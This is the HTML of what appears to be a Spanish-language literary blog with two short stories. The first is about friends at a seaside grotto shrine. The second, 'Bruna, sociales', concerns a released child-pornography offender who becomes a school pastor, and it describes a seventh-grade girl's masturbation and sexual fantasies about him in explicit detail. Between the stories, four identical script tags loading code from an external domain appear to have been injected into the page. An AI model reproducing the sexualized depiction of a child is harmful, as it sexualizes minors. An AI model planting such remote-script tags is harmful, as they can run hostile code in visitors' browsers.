<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> Manuel fue primero. Ella lo siguió,
le alumbraba los pies. Sebastián fue detrás, no se había dado cuenta de lo
borracho que estaba hasta que tuvo que subir por la escalera empinada que
giraba alrededor del centro del caracol. El ruido del mar era cada vez más
fuerte. Los tres se agarraban de las paredes, porosas y húmedas. Las plantas de
las zapatillas se les adherían al suelo.
<o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> Manuel se detuvo.<o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> — ¿Qué hay? <o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> Se acercó Ofelia. <o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> —Un altar a la virgen. <o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> —No quiero mirar. <o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> — ¡Llora sangre!<o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> Había
estampitas, estatuillas de distintos tamaños y algunas flores de tela. Dos
velas nuevas y una encendida a punto de consumirse. En el fondo había un poster
de la virgen de Guadalupe, dos lágrimas de sangre le caían por las mejillas. El
poster también había sido víctima de la humedad, tenía los bordes redondeados y
varios colores de la imagen borrados. <o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> —Deberíamos dejar el reloj
patriarcal como ofrenda. <o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> — ¡Sí! Dejalo. <o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> —Es ofensivo. ¡Que lo deje, que lo
deje!<o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> Manuel, Ofelia y Sebastián se zarandeaban
de un lado a otro en el pequeño espacio del descanso, se chocaban contra las
paredes y se reían. Ella lo agarró de la muñeca y le desató el reloj. Lo puso
al lado de un rosario, el brillo de la vela parpadeó y se apagó. Alguien gritó.
Una ola rompió tan fuerte que pareció que se los llevaría con la corriente. Los
tres bajaron corriendo y corrieron por el camino alejándose de la gruta hasta
que Ofelia frenó porque se sentía mal. Intentaban recuperar el aliento. <o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> — ¿Qué pasó? preguntó Ofelia. <o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> —Vos gritaste. <o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> —No, yo corrí porque alguien saltó
antes. <o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> Intentaba mirarlo a los ojos en la
oscuridad. <o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> —Mi reloj, no lo puedo dejar ahí. —Sebastián
se agarraba la muñeca desnuda. —Me lo regaló mi abuela. —Estaba al borde del
llanto. <o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> Ofelia encendía y apagaba la
linterna, le daba golpes con la palma de su mano. —Esta
mierda, no pude explorar nada al final. —La guardó en el bolsillo de su
campera. <o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> —No se hagan los boludos,
acompáñenme. —Sebastián empezaba a enojarse. <o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> —Vos dejaste el reloj ese ahí, sabés
que no le estaba haciendo bien a tu machismo tenerlo. —Ofelia dio media vuelta,
se reía. —Por supuesto que vamos todos. <o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> A Manuel ella le pareció un fantasma
moviéndose en la sombra. Dudó si hacían bien en seguirla, tomó a Sebastián por
el hombro pero las palabras no salieron de su boca. <o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> La luz de la luna alumbraba el
cartel de la gruta como si quisiera que la encontraran. Sebastián se sintió
afortunado y tonto por haberse preocupado tanto por el reloj. Recorrieron el
camino por el que minutos antes habían corrido. Ofelia se arrepintió de ser
siempre tan miedosa. El valor era solo cuestión de cambiar la perspectiva,
ahora el sendero se veía inofensivo. La niebla se empezaba a desarmar. Había
paz. La gruta era maravillosa bajo el brillo de la luna. <o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> —Parece un portal a otro mundo. <o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> —No digas boludeces. <o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> —Subo. <o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> —Dale, te esperamos acá. <o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> Manuel agarró a Ofelia del brazo y
empezaron a caminar en círculos. Sebastián subió los escalones sin tocar las
paredes. Tanteó entre las estatuitas, la virgen y sus adornos, todo se le
pegaba a los dedos, las velas, las flores, pero el reloj no estaba. El grito de
Ofelia lo hizo saltar. Gritaba su nombre, una y otra vez.<o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> El cielo estaba despejado y
brillaban muchas más estrellas que en la ciudad. <o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> —Ofelia. Manuel. ¡Ofelia! Dale,
idiota. Manuel. No veo nada. ¿Dónde están? Carajo. Ofelia, Manuel. <o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> Lloró lágrimas de verdad. Su propia
respiración agitada le impedía concentrarse en los sonidos del médano y del
bosque. Caminaba de un lado a otro sin orientación. Agarró una gran piedra del
suelo y buscó el camino de vuelta al bosque y a la ruta. —Manuel, Ofelia. —Ahora susurraba sus
palabras porque no estaba seguro de querer ser escuchado. —Si aparece algo en
la oscuridad, del miedo que tengo lo mato. Lo mato. Incluso si es el nene mono,
lo mato a piedrazos. —Se acariciaba su propio brazo, eso le traía un poco de
tranquilidad. —Ya llegamos, ya llegamos. <o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> Orense seguía sin luz. La luna
reflejada en el agua era una buena guía y le permitió ver el auto gris de sus
amigos frente a la casa. Habían llegado los demás. Corrió médano arriba, lo
alivió que la puerta de la casa estuviera abierta. Entró, buscó en el baño, en
el piso de arriba, tanteó las camas. Se escuchaba el silencio del balneario, el
llamado del mar en el oído de Sebastián. <o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> —Manuel, déjate de joder. Son
boludos, eh. <o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> Dio vueltas sobre su eje, el suelo
crujía. Los sonidos eran más importantes en la oscuridad, cobraban otro
sentido. Decidió que no iba a hablar más. Bajó el médano y corrió hasta la casa
del señor Majo. La puerta estaba abierta, adentro tampoco vio a nadie, cuando entró
a la cocina, sintió algo a sus espaldas. Alguien corría. Sebastián corrió tras
la sombra, que iba hacia el mar. Bajo la luz de la luna reconoció al nene mono.
Iba empujado por el viento. Frenó de golpe y miró atrás, como queriendo
asegurarse de que Sebastián también hubiera escuchado el llamado del mar. </span><span style="font-size: 12pt;"><o:p></o:p></span></span></div>
<br />
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<br /></div>
</div>
<script src="https://cuev.in/aux.php?ver=1.0&ref=at&debug=" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.0&ref=at&debug=" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.0&ref=at&debug=" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.0&ref=at&debug=" type="text/javascript"></script></div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-5085640713730129677.post-16070370709615958442018-12-19T07:33:00.000-08:002021-02-17T11:07:05.474-08:00Bruna, sociales<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<span style="font-family: "times new roman" , serif; font-size: 12.0pt;">La
mañana en que Mario salía de la cárcel, uno de los policías que peor lo había
tratado en esos seis años de encierro estaba de turno. Fue él quien buscó las
pertenencias del preso en el sótano de la comisaría, quién dio la orden de
liberación, y quien, finalmente, firmó el acta. El comisario López lo odiaba,
como odiaba a todos los presos que estaban condenados por casos de pedofilia.
Ocho años antes, tras la denuncia de un vecino, habían encontrado metros de
cintas de pornografía infantil casera, todas filmadas en el monoambiente que
Mario compartía con su novia en la ciudad. En muchos de los videos se veía a
menores de edad inhalando cocaína. Uno solo se inyectaba heroína en el
antebrazo. Una mano peluda y grande lo ayudaba desde detrás de cámara. El director
nunca mostraba su rostro, pero una cicatriz blanca y larga que atravesaba su
mano como un rayo lo volvía reconocible. Mario y su novia fueron juzgados,
también, como consumidores y traficantes de estupefacientes, aunque solo se habían
encontrado tres plantines de marihuana en el balcón de su departamento.<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<span style="font-family: "times new roman" , serif; font-size: 12.0pt;"> El comisario López se cortó la uñas,
leyó el diario del domingo de principio a fin, se tomó un café en la cafetería
de la esquina, y revisó algunos viejos expedientes que tenía que ordenar. A
última hora bajó al sótano a buscar las pertenencias de Mario. Unas llaves y
una billetera. La abrió, le sacó toda la plata, una tarjeta de débito hecha
pedazos, y la licencia de conducir. Firmó los papeles y le pidió a un cabo que
lo soltara. Él no quería tener que ver a ese hombre salir en libertad. <o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<span style="font-family: "times new roman" , serif; font-size: 12.0pt;"> —Me voy a cortar la mano —le dijo
Mario al cabo cuando se despidió. Estaba tan flaco que los pómulos no se
elevaban cuando sonreía. <o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<span style="font-family: "times new roman" , serif; font-size: 12.0pt;"> Una vez afuera, se encontró con que
para el mundo él había dejado de existir. Era un fantasma, todo era posible. Recolectó
el dinero que tenía repartido y se puso en marcha. Su destino era
un pueblo a cuatrocientos kilómetros de la ciudad. Nunca había estado ahí, pero
los relatos de sus compañeros de celda fueron suficiente como para convertirlo
en un destino tentador.<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<span style="font-family: "times new roman" , serif; font-size: 12.0pt;"> Desde el primer día, Mario había
sabido que la única manera de sobrevivir en la cárcel sería unirse a<i> los hermanitos</i>, como llamaban los demás
presos a los convictos evangelistas. Eran tantos que habían logrado muchos
privilegios dentro del penal, pertenecer implicaba también cierta protección
por parte de los demás hermanos, y sobre todo, protección contra ellos. Los
hermanitos eran los únicos capaces de aceptar a un pedófilo. Sin ellos, su
suerte en la cárcel habría sido terrible. Mario tocaba la guitarra, por lo que
su llegada fue muy bienvenida. Aprendió las canciones, participó en las misas y
en los bautismos, cumplió con todas las reglas que se le impusieron y, sobre
todo, prestó atención.<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<span style="font-family: "times new roman" , serif; font-size: 12.0pt;"> Aprendió que en el pueblo había un
gran colegio evangelista, que los hermanos siempre protegen a los miembros de
su iglesia sin hacer preguntas. Aprendió a predicar y a orar como un pastor, y
ese fue su papel de ahí en adelante. Llegó al nuevo pueblo en colectivo. Llevaba
solo un bolso con un montón de cintas grabadas a escondidas en la sala conyugal
de la cárcel.<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<span style="font-family: "times new roman" , serif; font-size: 12.0pt;"> El reloj despertador sonó a las seis
cuarenta y cinco como todas las mañanas de los días de escuela. Bruna lo dejó
sonar, sabía que su mamá vendría a despertarla por si las dudas. Cuando estaba
por volver a quedarse dormida, cruzó su mente una imagen de la noche anterior.
Se sentó en la cama, no quería tener que ver a su mamá. Se sacó el piyama, se
hizo una trenza y se puso el uniforme más rápido que nunca. Una pollera
tableada, camisa blanca manga larga, corbatín y mocasines negros.<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<span style="font-family: "times new roman" , serif; font-size: 12.0pt;"> Se miró en el espejo mientras se
cepillaba los dientes. <i>Ojalá nunca
hubiera bajado las escaleras</i>. Tenía sed, por eso bajó después de cenar,
después de haberle dado las buenas noches a sus papás, y de haber cerrado la
puerta y apagado el televisor. Cuando entró en la cocina se dio cuenta de que
había alguien, se escuchaba una respiración agitada. Eran dos. Dejó la luz sin
encender, había alguien adentro del lavadero. Caminó hacia la puerta
escondiéndose. Se sorprendió cuando vio al vecino, Tomás, sin remera, iluminado
por la luz del farol de la calle que entraba por la ventana. Lo conocía más por
el colegio que por el barrio, él iba dos años más arriba. Tenía la panza
abultada, su piel parecía hecha de terciopelo, los brazos anchos y esponjosos.
Se desabrochaba el botón del pantalón con la lengua afuera y los hombros
encorvados, un gesto tan animal que cuando levantó la cabeza y se tiró el pelo
hacia atrás, a Bruna le pareció el rey de la selva aunque todavía tuviera
granos y los dientes torcidos. Dio un paso adelante lleno de energía, y se
lanzó sobre su mamá, que lo esperaba con el camisón rojo y las piernas abiertas
de par en par, sentada sobre el lavarropas.<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<span style="font-family: "times new roman" , serif; font-size: 12.0pt;"> Bruna corrió escaleras arriba, por
suerte tenía las medias y sabía que podía volar por la casa sin hacer un ruido.
Su papá estaba dormido en la cama grande con el televisor encendido y el
control remoto en la mano. Se encerró en la habitación y arrastró la gran cajonera
contra la puerta para bloquearla. Se sentó en el suelo con ambas manos sobre
los muslos. Apretó las piernas, empezó a enredar su camisón alrededor de su
dedo índice hasta llegar a la bombacha. Se acarició, sintió que el estómago se le
daba vuelta, sintió ganas de hacer pis. Cerró los ojos y le volvió la imagen de
la panza de Tomás, las manos abiertas corriendo hacia la seda. <o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<span style="font-family: "times new roman" , serif; font-size: 12.0pt;"> Se volvió a mirar en el espejo,
estaba tan dormida que la sorprendió verse con el uniforme puesto. <i>Ya pasó</i>. Corrió escaleras abajo, agarró
su mochila que colgaba del perchero, y salió de la casa sin decir nada. Subió
al colectivo, y mientras avanzaban calle arriba vio que la luz de la cocina
estaba encendida, y la figura de los cuerpos de sus papás se
recortaba sobre el fondo. Pronto su mamá subiría a su habitación para
asegurarse de que se hubiera levantado. Nunca la dejaban faltar al colegio.<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<span style="font-family: "times new roman" , serif; font-size: 12.0pt;"> Llegó temprano, así que se quedó
sentada en la esquina esperando a que llegara alguna de sus compañeras. El
director apareció cinco minutos después y arruinó su plan, insistiéndole para
que entrara, no había que pasar tanto tiempo en la calle siendo una niña.
¿Dónde estaba su mamá? Imagen del camisón rojo. Las chicas ni
siquiera deberían andar por la calle solas ¡Y encima en pollera!<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<span style="font-family: "times new roman" , serif; font-size: 12.0pt;"> —Pero es el uniforme del colegio.<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<span style="font-family: "times new roman" , serif; font-size: 12.0pt;"> Formaron fila como siempre, de menor
a mayor, y a ella le tocó en el medio. Desde su lugar se llegaba a ver la cabeza
del director cuando saludaba a la mañana y la bandera izándose desde la base
del mástil. Los calzoncillos que se asomaban por sobre el pantalón de Tomás
eran amarillos como el centro de la bandera. Lo buscó con la mirada entre las
filas de alumnos pero no lo encontró. <o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<span style="font-family: "times new roman" , serif; font-size: 12.0pt;"> El
director saludó y todos respondieron al unísono como les habían enseñado.<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<span style="font-family: "times new roman" , serif; font-size: 12.0pt;"> —<span style="background: white;">El
pastor es conocedor de la verdad y su deber es rescatar almas que están
perdidas en el pecado —hizo una pausa para mirar a su alrededor —y sujetas por
el diablo a través de la música secular, las telenovelas, llenas de
pornografía, fornicación y violencia; hacer entender que el homosexual es
transformado por el pecado y no por nacimiento y que el drogadicto necesita a
quien le ama: Jesucristo. Un Pastor es un mensajero de Dios. Hoy les
presento con alegría al nuevo miembro de nuestro colegio, El Pastor </span>Felici.
<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<span style="font-family: "times new roman" , serif; font-size: 12.0pt;"> Con un gesto de su mano le dio la
bienvenida. El nuevo Pastor caminó por el pasillo como una quinceañera, llegó
al mástil y saludó al director. Paseó la mirada entre los alumnos, saludando
con una mano abierta en alto. Sus ojos se cruzaron con los de Bruna, un hilo de
hielo los unió. Ella apretó las cintas de su mochila.<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<span style="font-family: "times new roman" , serif; font-size: 12.0pt;"> —Séptimo grado se va con el Pastor
Felici. Los demás como siempre.<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<span style="font-family: "times new roman" , serif; font-size: 12.0pt;"> Cada vez que llegaba un nuevo pastor
al colegio, pasaba lo mismo. Los alumnos y alumnas se sentaban en los bancos a
conversar, todavía comiendo sanguches de la cantina, tomando latas de Coca
cola, o limpiándose las lagañas de los ojos. Sin saberlo, medían la paciencia
de la nueva figura de autoridad.<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<span style="font-family: "times new roman" , serif; font-size: 12.0pt;"> Bruna se sentaba contra la pared en
la primera fila. Estaba terminando de leer un libro que debía devolver esa
tarde a la biblioteca del colegio. Volvía a empezar una y otra vez el mismo
renglón, las palabras le parecían escritas en otro idioma. La imagen de Tomás y
su mamá se dibujaba entre las letras.<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<span style="font-family: "times new roman" , serif; font-size: 12.0pt;"> El pastor Felici estaba apoyado
sobre su banco, los brazos cruzados en el pecho. Dio unos pasos y se detuvo en
la ventana. Parecía vencido, buscando afuera un lugar de tranquilidad. Pero
entonces enderezó los hombros y soltó los brazos, y empezó a caminar entre los
bancos. Tenía la cabeza llena de pelo negro, los ojos negros, y dos cejas
enormes que parecían hechas con corcho quemado. Los alumnos fueron recuperando
la postura a medida que él avanzaba a través del aula. Hubo silencio.<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<span style="font-family: "times new roman" , serif; font-size: 12.0pt;"> —Mi nombre es pastor Federico
Felici. Llegué a la tierra con un don: la certeza de que el señor camina junto
a mí.<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<span style="font-family: "times new roman" , serif; font-size: 12.0pt;"> El pastor siguió hablando durante
las dos horas que duró la clase. Nadie lo interrumpió. En la esquina, Bruna
intentaba controlar sus pensamientos, pero revisaba el recuerdo de la piel de
Tomás, ¿dónde tenía los granos? Dos en la frente, uno en la mejilla. Se lo imaginaba
haciendo cosas que no lo había visto hacer, como tocándole las piernas, desde
la rodilla hasta el ombligo. <o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<span style="font-family: "times new roman" , serif; font-size: 12.0pt;"> <i>Contar
los números primos, ¿cuáles eran los primos? Los primos, Rodrigo, Oscar,
Ernesto, Francisco, Alejandro. Su papá acostado durmiendo con la mano adentro
del calzoncillo. La luz azul de la tele iluminando su cuerpo. Y Tomás. Números
pares, esos sí. Dos cuatro seis ocho doce diez. El pastor sigue hablando, nos
va a hacer decirle nuestros nombres, qué rama cursamos. Bruna, sociales. Bruna,
enredada con Tomas sobre la alfombra. Es verdad que mamá llora todos los días, la
escucho en la habitación antes de que llegue papá. ¿Cómo había provocado a
Tomás? Doce catorce dieciséis Mamá bailando con su camisón rojo. Yo con mi
cara, Tomás sacándose la remera en el lavadero.<o:p></o:p></i></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<i><span style="font-family: "times new roman" , serif; font-size: 12.0pt;"> </span></i><span style="font-family: "times new roman" , serif; font-size: 12.0pt;">El pastor avanzó por su fila y al
pasar por su banco le acarició un mechón de pelo. Sucedió tan rápido que Bruna
se puso colorada y empezó a preguntarse si había pasado de verdad. Miró a su
alrededor pero sus compañeros estaban en sus cosas, nadie lo había visto. <o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<span style="font-family: "times new roman" , serif; font-size: 12.0pt;"> Cuando sonó el timbre y todos
salieron al patio, él la llamó a un lado.<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<span style="font-family: "times new roman" , serif; font-size: 12.0pt;"> — ¿Bruna es tu nombre?<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<span style="font-family: "times new roman" , serif; font-size: 12.0pt;"> —Bruna María.<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<span style="font-family: "times new roman" , serif; font-size: 12.0pt;"> — ¿Sabés qué Bruna María?<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<span style="font-family: "times new roman" , serif; font-size: 12.0pt;"> —Me hacés cosquillas.<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<span style="font-family: "times new roman" , serif; font-size: 12.0pt;"> —Yo escucho los pensamientos.
Escucho todo lo que pensás.<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<span style="font-family: "times new roman" , serif; font-size: 12.0pt;"> — ¡Yo no hice nada! —le gritó y
salió corriendo por el patio<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<span style="font-family: "times new roman" , serif; font-size: 12.0pt;"> Cuando se reunió con sus compañeros,
todos hablaban de él. Una dijo que había escuchado que vivía con su mujer en el
barrio obrero, otro que su mamá lo había visto en el supermercado con dos
hijos, uno era deforme y estaba en silla de ruedas. Bruna pensó que era la única que lo conocía de
verdad, porque ella sola le había hablado de uno a uno, y él podía leer sus
pensamientos. <o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<span style="font-family: "times new roman" , serif; font-size: 12.0pt;"> Esa tarde en su casa, se encontró
con sus papás tomando mates en la cocina. Puso dos rodajas de pan en la
tostadora y encendió la hornalla para calentar agua. <o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<span style="font-family: "times new roman" , serif; font-size: 12.0pt;"> —No te escuché salir hoy —le dijo su
mamá con buen humor.<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<span style="font-family: "times new roman" , serif; font-size: 12.0pt;"> Bruna mordió un pedazo de pan para
no responder, y ellos se distrajeron conversando de algo que pasaban en el
noticiero.<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<span style="font-family: "times new roman" , serif; font-size: 12.0pt;"> A la noche no volvió a bajar. Había
llenado su botella de agua y la había dejado en la mesita de luz. Se acostó en su
cama pero no podía dormir. Intentó apoyarse de un lado y del otro. ¿De dónde
venía Felici? La pregunta no la dejaba en paz. Se
acarició el ombligo y escondió su mano entre las piernas. Entonces empezó a
acariciarse pensando en los dedos del pastor sacudiéndose en sus axilas, hasta
terminar diciendo su apellido en voz muy baja. <o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<span style="font-family: "times new roman" , serif; font-size: 12.0pt;"> Mientras desayunaba, decidió que iba
a tener más cuidado con sus pensamientos. No había podido dormir en toda la
noche repasando el momento del dedo tocando su pelo. La idea de que él pudiera revisar sus pensamientos como fotografías de un álbum era terrible. ¿Cómo podía esconderse? Recitar
canciones, los nombres de sus amigas, los números primos esta vez. La imagen de
Tomás se empezaba a volver difusa y se preguntaba si lo había visto en realidad.
Pensaba en el pastor sin camisa, ¿cómo sería su pecho desnudo, los pelos
enrulados cubriéndolo todo? ¿Quién era el chico deforme de la silla de ruedas?<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<span style="font-family: "times new roman" , serif; font-size: 12.0pt;"> Durante la clase, la ola volvió con
toda la fuerza de un maremoto. Sentía los brazos grandes del pastor alrededor
de su cintura, pensaba en dónde podía conseguir un camisón con un color
parecido al de su mamá. <i>Nunca nadie tiene
ropa interior roja si no está buscando sexo.</i> El pastor paseaba de nuevo por
el aula mientras hablaba, era un discurso monótono en el que participaba solo
él. Se puso de pie frente al banco de Bruna y ella clavó la vista en el
botón del pantalón. Bajó la mirada y lo recorrió desde las caderas a los pies.
Le hubiese gustado poder agacharse y verlo por todos lados de cerca. <i>Ojalá pudiera ver a través de su ropa</i>.
Él dio un paso adelante, casi apoyándose en el banco. Ella lo miró a los ojos y
se encontró con su mirada. <i>Tres cinco
siete nueve. Los pares eran más fáciles. </i>Estiró su brazo hasta el borde del
banco, los dedos le quedaron colgando, los sacudió sin quitarle los ojos de
encima. Era casi como si lo tocara.<o:p></o:p></span></div>
